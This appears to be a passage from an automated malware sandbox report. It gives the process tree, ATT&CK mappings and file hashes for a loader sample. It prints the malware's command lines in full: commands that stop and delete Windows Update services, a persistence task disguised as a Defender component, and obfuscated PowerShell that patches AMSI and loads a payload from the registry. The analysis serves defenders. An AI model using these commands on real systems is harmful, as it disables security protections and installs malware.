  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3272
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4400
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4116
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:624
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5056
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:3912
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3932
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1360
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4532
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4464
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:4712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4772 -ip 4772
1⤵
PID:3276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2600 -ip 2600
1⤵
PID:2800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:gXBTPmGUhVAK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gNPLsveYXkxjFr,[Parameter(Position=1)][Type]$EzLKMLAtrS)$nHNoNajSQvn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+''+'r'+''+'y'+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+'y'+'D'+[Char](101)+'l'+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+','+'P'+''+[Char](117)+''+'b'+''+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+'ea'+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+'A'+[Char](110)+'s'+'i'+'C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+',A'+'u'+''+'t'+'oC'+[Char](108)+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$nHNoNajSQvn.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+'S'+'i'+''+[Char](103)+',Pu'+'b'+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$gNPLsveYXkxjFr).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+'a'+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$nHNoNajSQvn.DefineMethod('I'+[Char](110)+'v'+'o'+''+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+'bl'+'i'+''+[Char](99)+''+[Char](44)+''+'H'+'i'+'d'+'e'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+'l',$EzLKMLAtrS,$gNPLsveYXkxjFr).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+'g'+'e'+''+'d'+'');Write-Output $nHNoNajSQvn.CreateType();}$aSKNeyOqiFyfH=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+'t'+''+[Char](101)+''+'m'+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+'r'+'o'+'s'+''+[Char](111)+'f'+[Char](116)+'.'+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+'n'+''+'s'+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](97)+''+[Char](83)+''+'K'+'N'+[Char](101)+'yO'+[Char](113)+'i'+[Char](70)+''+'y'+''+[Char](102)+'H');$krioWhLGFgaYXb=$aSKNeyOqiFyfH.GetMethod(''+'k'+''+'r'+''+'i'+'oWh'+[Char](76)+''+[Char](71)+''+'F'+''+[Char](103)+''+'a'+''+'Y'+''+[Char](88)+'b',[Reflection.BindingFlags]'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'S'+'t'+''+[Char](97)+''+'t'+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vXJONaUACAZRrLOGcuM=gXBTPmGUhVAK @([String])([IntPtr]);$kexzGuONsqqQRSwxRxNBnU=gXBTPmGUhVAK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$aYPxFiaztwX=$aSKNeyOqiFyfH.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+'ern'+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')));$UefpbSHIdONNSK=$krioWhLGFgaYXb.Invoke($Null,@([Object]$aYPxFiaztwX,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+'ar'+'y'+''+'A'+'')));$pvdVRwzpRYRzRxOtw=$krioWhLGFgaYXb.Invoke($Null,@([Object]$aYPxFiaztwX,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+'P'+[Char](114)+'o'+'t'+'e'+[Char](99)+''+[Char](116)+'')));$wbvQwxa=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UefpbSHIdONNSK,$vXJONaUACAZRrLOGcuM).Invoke('a'+[Char](109)+'s'+[Char](105)+''+'.'+'dll');$LFrpKCURyrlFiRnte=$krioWhLGFgaYXb.Invoke($Null,@([Object]$wbvQwxa,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+'B'+[Char](117)+'f'+'f'+''+[Char](101)+''+[Char](114)+'')));$BtkbjfZnCn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pvdVRwzpRYRzRxOtw,$kexzGuONsqqQRSwxRxNBnU).Invoke($LFrpKCURyrlFiRnte,[uint32]8,4,[ref]$BtkbjfZnCn);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$LFrpKCURyrlFiRnte,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pvdVRwzpRYRzRxOtw,$kexzGuONsqqQRSwxRxNBnU).Invoke($LFrpKCURyrlFiRnte,[uint32]8,0x20,[ref]$BtkbjfZnCn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+'T'+'WA'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+[Char](108)+''+'e'+''+'r'+'st'+[Char](97)+'g'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FFlhTrqMWmcF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nvTWhBwmwwCClQ,[Parameter(Position=1)][Type]$RhjoHcIpyr)$oomiKOTejSy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+''+[Char](101)+''+[Char](109)+''+'o'+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss,'+[Char](80)+''+[Char](117)+''+'b'+'l'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+'A'+'n'+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+'ut'+[Char](111)+''+[Char](67)+''+'l'+'as'+[Char](115)+'',[MulticastDelegate]);$oomiKOTejSy.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+''+'a'+''+'l'+''+'N'+''+[Char](97)+'m'+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+'ubl'+'i'+'c',[Reflection.CallingConventions]::Standard,$nvTWhBwmwwCClQ).SetImplementationFlags('Run'+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');$oomiKOTejSy.DefineMethod('In'+[Char](118)+'o'+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+''+','+''+'H'+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+''+[Char](119)+'S'+[Char](108)+''+'o'+'t'+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+'l',$RhjoHcIpyr,$nvTWhBwmwwCClQ).SetImplementationFlags('R'+[Char](117)+''+'n'+''+'t'+'i'+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');Write-Output $oomiKOTejSy.CreateType();}$MivCejKsRytGR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+'c'+'r'+''+[Char](111)+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+'i'+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'U'+''+'n'+''+[Char](115)+''+'a'+'feM'+[Char](105)+''+[Char](118)+''+'C'+''+[Char](101)+''+[Char](106)+''+[Char](75)+''+[Char](115)+'R'+[Char](121)+''+[Char](116)+''+[Char](71)+''+[Char](82)+'');$lOQbrPcCfUjfkm=$MivCejKsRytGR.GetMethod(''+[Char](108)+''+[Char](79)+'Q'+[Char](98)+''+[Char](114)+'P'+[Char](99)+''+[Char](67)+'f'+[Char](85)+''+[Char](106)+''+[Char](102)+'km',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+','+'S'+'t'+[Char](97)+''+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gKYPDeGeTIldMJKBpsR=FFlhTrqMWmcF @([String])([IntPtr]);$cHSUnZGtBykqkrXISxBruS=FFlhTrqMWmcF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$BgomVJHLHlU=$MivCejKsRytGR.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'M'+''+'o'+'d'+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+'r'+'ne'+'l'+''+'3'+'2.d'+[Char](108)+''+'l'+'')));$tUojZJLCVvzvdc=$lOQbrPcCfUjfkm.Invoke($Null,@([Object]$BgomVJHLHlU,[Object](''+'L'+''+'o'+'ad'+'L'+''+[Char](105)+'br'+[Char](97)+''+[Char](114)+'y'+'A'+'')));$dwbJYUWcUgXbtMmPg=$lOQbrPcCfUjfkm.Invoke($Null,@([Object]$BgomVJHLHlU,[Object](''+[Char](86)+''+[Char](105)+'rt'+'u'+'alP'+'r'+''+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$xpBOqPn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tUojZJLCVvzvdc,$gKYPDeGeTIldMJKBpsR).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$PNSjXIxSoIemRglHu=$lOQbrPcCfUjfkm.Invoke($Null,@([Object]$xpBOqPn,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+'S'+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$MTpqbQDlvN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dwbJYUWcUgXbtMmPg,$cHSUnZGtBykqkrXISxBruS).Invoke($PNSjXIxSoIemRglHu,[uint32]8,4,[ref]$MTpqbQDlvN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PNSjXIxSoIemRglHu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dwbJYUWcUgXbtMmPg,$cHSUnZGtBykqkrXISxBruS).Invoke($PNSjXIxSoIemRglHu,[uint32]8,0x20,[ref]$MTpqbQDlvN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+[Char](87)+'AR'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+'s'+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1032

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
9e5bc70e878b7812ad4f721c6a6a8fa8

SHA1
03880ff4ee70fcc117b773210c59ff1d88279101

SHA256
f37029c369a737a6c8a48cd3e6ced8d889e00d546751f88bb85b134b9a24b197

SHA512
a3bec15e2be65fff6dbb40ef8b4fc159754c4a0da1ebd1cfcd417cb0ea5d1a34fb34f34c91fc06b8e0a54ec3ab868aa32cf9d08475410f004071de85975320d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
a7ce8cefc3f798abe5abd683d0ef26dd

SHA1
b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e

SHA256
5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a

SHA512
c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
464KB

MD5
990c8e3fc56a2734631b51fc61a6779a

SHA1
55a16cc67fc52cdf0690387e083955048106d48a

SHA256
d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

SHA512
f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
464KB

MD5
990c8e3fc56a2734631b51fc61a6779a

SHA1
55a16cc67fc52cdf0690387e083955048106d48a

SHA256
d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

SHA512
f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

Download Submit
memory/624-201-0x0000000000000000-mapping.dmp

Download
memory/1032-212-0x00007FFD39BD0000-0x00007FFD3A691000-memory.dmp

Filesize
10.8MB

Download
memory/1032-214-0x00007FFD572E0000-0x00007FFD5739E000-memory.dmp

Filesize
760KB

Download
memory/1032-213-0x00007FFD58970000-0x00007FFD58B65000-memory.dmp

Filesize
2.0MB

Download
memory/1032-220-0x00007FFD58970000-0x00007FFD58B65000-memory.dmp

Filesize
2.0MB

Download
memory/1032-222-0x00007FFD572E0000-0x00007FFD5739E000-memory.dmp

Filesize
760KB

Download
memory/1360-206-0x0000000000000000-mapping.dmp

Download
memory/1364-132-0x0000000000000000-mapping.dmp

Download
memory/1364-133-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1364-139-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1612-208-0x0000000000000000-mapping.dmp

Download
memory/2600-163-0x0000000000000000-mapping.dmp

Download
memory/2680-172-0x0000000000000000-mapping.dmp

Download
memory/2680-190-0x00000000026BD000-0x00000000027FA000-memory.dmp

Filesize
1.2MB

Download
memory/2680-189-0x00000000021A5000-0x00000000026A9000-memory.dmp

Filesize
5.0MB

Download
memory/2680-184-0x00000000026BD000-0x00000000027FA000-memory.dmp

Filesize
1.2MB

Download
memory/2680-183-0x00000000021A5000-0x00000000026A9000-memory.dmp

Filesize
5.0MB

Download
memory/2732-151-0x0000000006F30000-0x0000000006F4A000-memory.dmp

Filesize
104KB

Download
memory/2732-142-0x0000000004EF0000-0x0000000005518000-memory.dmp

Filesize
6.2MB

Download
memory/2732-148-0x00000000730A0000-0x00000000730EC000-memory.dmp

Filesize
304KB

Download
memory/2732-150-0x0000000007570000-0x0000000007BEA000-memory.dmp

Filesize
6.5MB

Download
memory/2732-147-0x00000000061E0000-0x0000000006212000-memory.dmp

Filesize
200KB

Download
memory/2732-146-0x0000000005C10000-0x0000000005C2E000-memory.dmp

Filesize
120KB

Download
memory/2732-145-0x0000000005600000-0x0000000005666000-memory.dmp

Filesize
408KB

Download
memory/2732-157-0x00000000072D0000-0x00000000072F2000-memory.dmp

Filesize
136KB

Download
memory/2732-144-0x0000000005590000-0x00000000055F6000-memory.dmp

Filesize
408KB

Download
memory/2732-143-0x0000000004C60000-0x0000000004C82000-memory.dmp

Filesize
136KB

Download
memory/2732-156-0x00000000071B0000-0x00000000071B8000-memory.dmp

Filesize
32KB

Download
memory/2732-149-0x00000000061C0000-0x00000000061DE000-memory.dmp

Filesize
120KB

Download
memory/2732-158-0x00000000081A0000-0x0000000008744000-memory.dmp

Filesize
5.6MB

Download
memory/2732-141-0x0000000002330000-0x0000000002366000-memory.dmp

Filesize
216KB

Download
memory/2732-152-0x0000000006FB0000-0x0000000006FBA000-memory.dmp

Filesize
40KB

Download
memory/2732-153-0x0000000007200000-0x0000000007296000-memory.dmp

Filesize
600KB

Download
memory/2732-140-0x0000000000000000-mapping.dmp

Download
memory/2732-155-0x00000000071C0000-0x00000000071DA000-memory.dmp

Filesize
104KB

Download
memory/2732-154-0x0000000007170000-0x000000000717E000-memory.dmp

Filesize
56KB

Download
memory/3208-195-0x00007FFD399D0000-0x00007FFD3A491000-memory.dmp

Filesize
10.8MB

Download
memory/3208-193-0x00007FFD399D0000-0x00007FFD3A491000-memory.dmp

Filesize
10.8MB

Download
memory/3208-191-0x0000028674FA0000-0x0000028674FC2000-memory.dmp

Filesize
136KB

Download
memory/3228-176-0x0000000000000000-mapping.dmp

Download
memory/3272-197-0x0000000000000000-mapping.dmp

Download
memory/3468-181-0x0000000005790000-0x000000000589A000-memory.dmp

Filesize
1.0MB

Download
memory/3468-179-0x0000000005BE0000-0x00000000061F8000-memory.dmp

Filesize
6.1MB

Download
memory/3468-188-0x00000000079D0000-0x0000000007EFC000-memory.dmp

Filesize
5.2MB

Download
memory/3468-187-0x00000000072D0000-0x0000000007492000-memory.dmp

Filesize
1.8MB

Download
memory/3468-186-0x0000000005B30000-0x0000000005B4E000-memory.dmp

Filesize
120KB

Download
memory/3468-166-0x0000000000000000-mapping.dmp

Download
memory/3468-185-0x0000000005A70000-0x0000000005AE6000-memory.dmp

Filesize
472KB

Download
memory/3468-167-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3468-182-0x00000000056C0000-0x00000000056FC000-memory.dmp

Filesize
240KB

Download
memory/3468-194-0x00000000075A0000-0x00000000075F0000-memory.dmp

Filesize
320KB

Download
memory/3468-180-0x0000000005660000-0x0000000005672000-memory.dmp

Filesize
72KB

Download
memory/3912-204-0x0000000000000000-mapping.dmp

Download
memory/3932-205-0x0000000000000000-mapping.dmp

Download
memory/4116-200-0x0000000000000000-mapping.dmp

Download
memory/4400-198-0x0000000000000000-mapping.dmp

Download
memory/4464-202-0x00007FFD399D0000-0x00007FFD3A491000-memory.dmp

Filesize
10.8MB

Download
memory/4464-209-0x00007FFD399D0000-0x00007FFD3A491000-memory.dmp

Filesize
10.8MB

Download
memory/4532-207-0x0000000000000000-mapping.dmp

Download
memory/4636-221-0x00007FFD572E0000-0x00007FFD5739E000-memory.dmp

Filesize
760KB

Download
memory/4636-219-0x00007FFD58970000-0x00007FFD58B65000-memory.dmp

Filesize
2.0MB

Download
memory/4636-218-0x0000000140000000-0x0000000140029000-memory.dmp

